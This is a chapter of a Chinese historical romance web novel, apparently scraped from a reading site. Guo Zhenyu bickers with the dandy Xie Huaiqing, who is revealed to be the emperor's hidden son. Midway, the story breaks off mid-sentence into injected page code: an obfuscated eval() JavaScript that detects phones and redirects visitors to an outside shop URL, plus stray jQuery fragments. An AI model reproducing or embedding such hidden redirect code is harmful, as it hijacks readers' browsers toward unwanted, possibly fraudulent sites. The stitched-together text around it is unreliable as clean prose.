第3章
谢怀庆,东阁大学士兼兵部尚书谢迁的外孙。
洪庆十七年,谢迁与郭贞玉的祖父郭镛同为进士,谢迁是一甲进士入了翰林院,后续又入了内阁,是个及其厚重有才学的人。
但他这个外孙却十分让谢阁老头疼,为了专门教养这个顽劣的外孙,谢阁老甚至亲自致仕。
但也没教养好这个谢怀庆,在嘉兴府折腾了个底朝天。才学最厚重、人品最端正的谢阁老呕心沥血……结果教养出了大魏最著名的纨绔。
圣上听了,也颇为无奈,又重新召了谢迁还朝。谢迁还朝,依旧是风头无两的阁老。
但谁家锅底不黑呢,这事儿别人不知道,宜春侯府的老侯爷郭镛却是极为清楚的。因为谢阁老致仕那年,把八岁的谢怀庆放在宜春侯府小住了半年。
闹腾的宜春侯府,差点炸了。
而郭贞玉,对这顽劣小子的印象更是颇为深刻。
这小子自幼就喜欢那些貌美的姑娘,看到个貌美的京城贵女就过去搭讪,最严重的一次是看中了礼部侍郎刘东阳的嫡次女,为了哄佳人开心,谢怀庆拉着郭贞玉去垦了一亩田,种百菊,从九华菊、佛顶菊到金盏玉盘,再到钗头菊,足足一百三一种。
直到现在郭贞玉还记得谢怀庆小小年纪的拽劲儿,说:“菊立于风霜,敷华而芳吐,实乃美人佳士之姿。”
而当时郭贞玉也不过比他大两岁,又是个实心眼的,小小的脸儿都被晒黑了八度,看着谢怀庆在那里伤春悲秋,吟诗作赋,不由气的俏眼圆睁,一脚就把谢怀庆踹的趴在那刚垦好的软土上,还骑上去揍了几拳。
这混小子讨旁的女子欢心,感情拿自己当驴使呢?!虽然宜春侯府与谢阁老交好,但也没这般拿人当驴使得,而且还是拿她一小姑娘当驴使。
所以郭贞玉一天就揍了谢怀庆三回,揍得谢怀庆跟个小黄牛似的,犁了足足得有半月的地。
而这半个月,是谢阁老觉得最安心的半个月,还笑着送给了郭贞玉一块祖传的玉佩,说是只有郭二能治得住这混球。
不过谢怀庆这小子确实是浑,都长成翩翩少年郎了,还是年少时节的荒唐没规矩。
郭贞玉一直用一种想要再踹他一脚,揍他一顿的目光看着他,再加上那句待了恼意的“谢怀庆”。吓得谢怀庆一激灵,一双笑意盈盈又不羁的眸子突然就缩了一下……
“郭……郭二?!你!”谢怀庆忙起身,拿着扇子遮住自己的俊脸,另外一只手捂住自己后面的长袍,以防再被踹一脚。
他谢怀庆就是捅天捅地的活祖宗,谁也不怕,就连圣上那里,他也没什么礼数。谢阁老一天打他八十回,他也不怕。
但是,他就怕一个人,一个女人!
这个女人在他八岁时给他留下了阴影,一天往死里揍他三回,还拿着他当牛使,犁了足足半月的地。
每次想起来,谢怀庆都恼的不行,恨不得抓住那女人,狠狠杖责一顿,
不对,杖责一百顿,一千顿……顿顿……天天!
可是,当他真的见到了那个女人,顿时吓得他遍体生寒。
“郭二……郭二……你!你……”谢怀庆皱着眉,纨绔的浪荡和顽劣顿时化作了慌乱,他就是怕郭贞玉。
不过,郭贞玉与小时候也大有不同,小时候的郭二胖乎乎的圆滚滚的,扎着两个团子,软乎乎的。
现在……
谢怀庆抬眼睨了郭贞玉一眼,淡绿色的对襟长衫,下面一件月白色的百褶裙,裙子下摆绣着喜容千叶,是那种初开的喜容千叶,黄花,菊蕊极小,周身一股清冷和端方。
他见过无数的美人,娇美的、明艳的、伶俐精乖的、温柔似水的……但是如今一比较,反倒不如跟前这个郭二,此时此刻的郭二居然长成了他最喜欢的“立于风霜,敷华而芳吐”的菊的品性。
真是叫人有些瞠目,当真是女隔三日,当刮目,刮目,再刮目相看。
看着谢怀庆微微呆住的神情,郭贞玉那股无名火就散了一些,重新捡起了自己的礼数和规矩,朝着谢怀庆道:“谢阁老可安好?”
这算是给台阶了,打打招呼,毕竟幼年时的“犁地的牛”。
谢怀庆听了这话,一双笑盈盈的眸子重新挂上了松弛,半个身子倚靠在一旁的巨石牌坊柱子上,懒懒道:“外祖父比慈恩寺荷花池的神龟还能活。”说完,折扇猛地收起,挑挑眉放肆道:“一时半刻的,被我气不死。”
虽足足八年未见,但多亏了这纨绔的性格,两人还是很快就熟识了。
就这么说着话,突然,二殿下李景宜从影壁后面走出来,细细打量谢怀庆一眼,有些不满有些沉炽,但还是顾念谢阁老,淡淡的说:“谢阁老是朝廷重臣,父皇颇为看重。谢公子慎言。”
“肾?谁的肾,得了肾虚了?”谢怀庆左右巡视,长眉微微皱着,半晌目光又落回李景宜身上,叹了口气,“你这血气方刚的,怎么还肾虚了,我认识个神医,改日给你瞧瞧。”说完又半个手臂压在李景宜左肩,低低道:“肾虚得治啊,以免床榻间让人笑话。”
听了这话,李景宜的脸瞬间就黑了。
郭贞玉看到被气黑了脸的李景宜,瞬间笑了,一双清冷的眉眼里闪着星星点点的光华,很温柔很静雅,很迷人。
看到这样笑着的郭贞玉,李景宜和谢怀庆都微微一怔。
郭贞玉看到李景宜看着自己,顿时有些厌恶,索性朝着谢怀庆道:“谢怀庆,你要不要见我祖父?”
谢怀庆听了,眉头微微一挑,有些愕然,“我见你祖父?他人老珠黄的,我见他作甚?我有约了,春风楼。”
“哦?”郭贞玉也不留他,转身就走,走了大概五步,又回转一张俊雅的小脸儿,清和道:“不瞒你说,我祖父刚种出了迭金.黄,是上等极品,蕊极小,迭叶秾宻,清晨开一支一葩,垂绦如髪之鬈。”[1]
谢怀庆,人很俗,但是品味很高雅,尤爱菊。
郭贞玉一句话,就把他拿捏住了。
谢怀庆朝着春风楼方向迈去的脚瞬间就转了方向,像是一只多年未见主人的小狗狗一样,快步追上了郭贞玉,一双眸子泛着水光,喋喋不休道:“郭二,你莫要骗我,若是没有,你看我不……”
郭贞玉停住,皱眉看着谢怀庆那张明俊的脸,温和的朝他笑了笑,随后猛地抬起绣鞋,狠狠地,重重的,碾在他的缎子做的凉鞋上。
疼的谢怀庆不行,一边捂着脚,一边追着郭贞玉,“郭二,你个悍妇!我这凉鞋是嘉兴府最有名的绣娘一针一线给小爷我做出来的,花了足足百两银子,你居然小爷踩了,看我不……”
“你怎么样?!”郭贞玉又停下,好整以暇地看着谢怀庆,见他重新敛起疼的脸,一双星光熠熠的眸子看着她,才又语气好转道:“谢大傻子,谁家凉鞋一百两,你不如给我!我能给做十双。”
谢怀庆又被气的跳脚,一双眼睛快要扥出来了,但是他也不敢抬手碰触郭贞玉一下,只是恼恼道:“郭二!小爷我迟早要杖刑你!一千回!”
“德性~就你?!”郭贞玉横斜他一眼,继续道:“首先,形容年迈的男人不能用人老珠黄,其次刚才人说的是慎言,意思是让你小心说话的意思,不是肾,也不是肾虚。”
谢怀庆点点头,半晌又反驳道:“你怎么知道他肾不虚?!”
“……”
郭贞玉听了,气的梗住了,最后终于忍不住伸手拧住了他的耳朵,有些恼道:“你外祖父是洪庆十七年的一甲进士,赐状元及第,最后拜阁老,你怎么这个样子?!”
“那八成老爷子把我谢家的脑子都用光了。”谢怀庆毫不在意,忙走在郭贞玉前面,双手交叠在脑后,挑着一双水光的眸子,边倒着走边兴奋道:“你祖父真的养出明州黄了?”
郭贞玉摇摇头,叹了口气,“孺子……”
“不可教?”谢怀庆好整以暇的回道。
“欠揍。”
“孺子欠揍?”谢怀庆面色凝住,朝着郭贞玉道:“郭二,都说你书读的好,我看,也跟我半斤八两。”
“谁跟你半斤八两。”
……
两个人就这样吵吵闹闹的走远了,只留下正德门牌坊下的李景宜。
说实话,他从未见过如此有烟火气的郭贞玉,像是被气的圆鼓鼓的小鱼儿,娇俏而伶俐。
只是,这谢怀庆,又是怎么回事?
李景宜揉着太阳穴,他确实重生了,但问题是,他只记得与郭贞玉相处的日常以及自己对郭贞玉庶妹的中意,觉得一定要娶她庶妹,至于旁的,他模模糊糊的,有些记不清。
***
日头西斜,整个京师热的像个蒸笼,宜春侯府的厨房里更是忙的热火朝天。
谢阁老的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938239|213775||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
外孙来了侯府,宜春侯郭镛吩咐要好好招待。
宜春侯老夫人荣氏忙前忙后,想要招来谢怀庆问问他的外祖母姜氏,却听到谢怀庆已经和郭二姑娘去了老侯爷那里赏菊了。
迭金菊,又称明州黄,宜春侯郭镛真的养出来了。
谢怀庆将扇子放下,蹲在那迭金菊的花盆旁,痴痴地望着上面的垂绦,而宜春侯郭镛则大步走过来,细细的打量谢怀庆。过了好半晌,又欲言又止,最后只能转身朝着郭贞玉吩咐道:“贞玉,你去你祖母那等我们。”
郭贞玉是个聪明人,一听就知道两人有话说,便点了点头,乖顺的走了。
这一幕,倒是逗得谢怀庆很乐呵,笑着朝着郭镛道:“郭二怎么这么听你的话。”
郭镛听了也没什么反应,只是老眼昏花的差点就抱住谢怀庆。
“圣上就您一个皇嗣,您要怎么就不回来……这一走就是八年。”郭镛痛心疾首,心肝差点飞出来。
谢怀庆挑挑眉,重新拿起自己的折扇,“圣上有李景宜,而我姓谢。”
郭镛顿了良久,又叹气道:“您明明知道,他们只是掩人耳目的……他们并非真皇嗣……”
“与我何干?”谢怀庆露出顽劣而放肆的神情,“我也不过是他与我母亲野合来的。”
“那能一样吗?!您明明知道圣上最在意您的母亲。您莫要这样说!”郭镛毫不气馁,继续说着,“当年圣上落难,若非您母亲相救,怎么能有这千秋盛世。”
说起当年,确实也难分什么对错。
先皇宠妃万氏狠辣乖觉,害的当时还是太子的洪庆帝坠落山崖,而当时谢迁还未考中进士,其女谢婉华嫁给嘉兴府朱员外嫡子,还不过半年就守了寡,为了能活下去,私下把救的男人当成工具,暗/合,待有了孩子就装作遗腹子。
而当时,谢氏女只看重了男子的容貌,并不知道自己顺手救的美男子居然是太子,也就是现在的洪庆帝。
两人弄了一月,待有了身孕,谢氏女就把洪庆帝给踹了。
待后来洪庆帝继位,太医一趟趟的跑,也治不了洪庆帝的不举之证。
郭镛虽然不知道内情,但是也隐约听说了些旁的,大概是谢氏女贪洪庆帝的身子,日日绑着受用,给洪庆帝虚耗的有阴影了……
这些浑话倒是其次,关键的是,圣上不举,但是不能外传,最少得有子嗣撑门面,所以才有了暗卫替圣上延嗣,有了李景宜。
所以,二殿下李景宜是暗卫之子,而非皇嗣。
要不怎么称为二殿下呢?是因为圣上在族谱里给谢怀庆留了名字,但谎称五行相冲,去道观修行了。
只是圣上也没想自己合来的亲儿子是个纨绔,是个捅天捅地的作精,这才专门请了谢迁把他带回嘉兴府好好教养。
结果,这混账差点把自家国丈气死。
圣上觉得这混账,跟他那始乱终弃的母亲一样,都无情无义。
他母亲用完自己就踹了,后来还又嫁给了督察御史宋晏,当然宋晏也肾虚水乏,也不行。她不让他好过,那么他也不让她舒坦。
就这么相互折磨吧。他不行,她也别想舒服。
左右,两人还有个混账儿子,早晚有见面的那天。
这一切,圣上、谢阁老、谢婉华以及谢怀庆都接受了,但是宜春侯郭镛接受不了。他就在谢怀庆八岁时照顾了他半年,但是特别中意这个混小子。
觉得谢怀庆哪哪都好,认为谢怀庆要是能自幼在宫里受到大儒教导,会出类拔萃,断不会如此。
“老侯爷,您啊,把心放肚子里。”谢怀庆伸手拨了拨那个迭金黄,懒懒道:“大儒教导不了小爷,不过倒是郭二,您得好好说说她,简直悍妇,见了小爷我就拳打脚踢的。”
郭镛虽然看重谢怀庆,但是他断断不敢苟同谢怀庆的观点,自己的孙女那是钟灵毓秀、大家闺秀、端方贵重,是京师出了名的端方美人,不可能对谢怀庆拳打脚踢。
郭镛认为谢怀庆是造谣了,但是谢怀庆抬起那只被踩得微微发青的脚时,郭镛还是微微一怔。
但片刻后,郭镛坚持,“您莫要这般说,贞玉是最贤惠的。”
“贤惠?她贤惠,我谢怀庆三个字倒着写!”谢怀庆第一次觉得自己智商受到了侮辱,继续道:“郭二,从小时候就对我拳打脚踢,还把小爷我当犁地的牛使!足足半月啊!”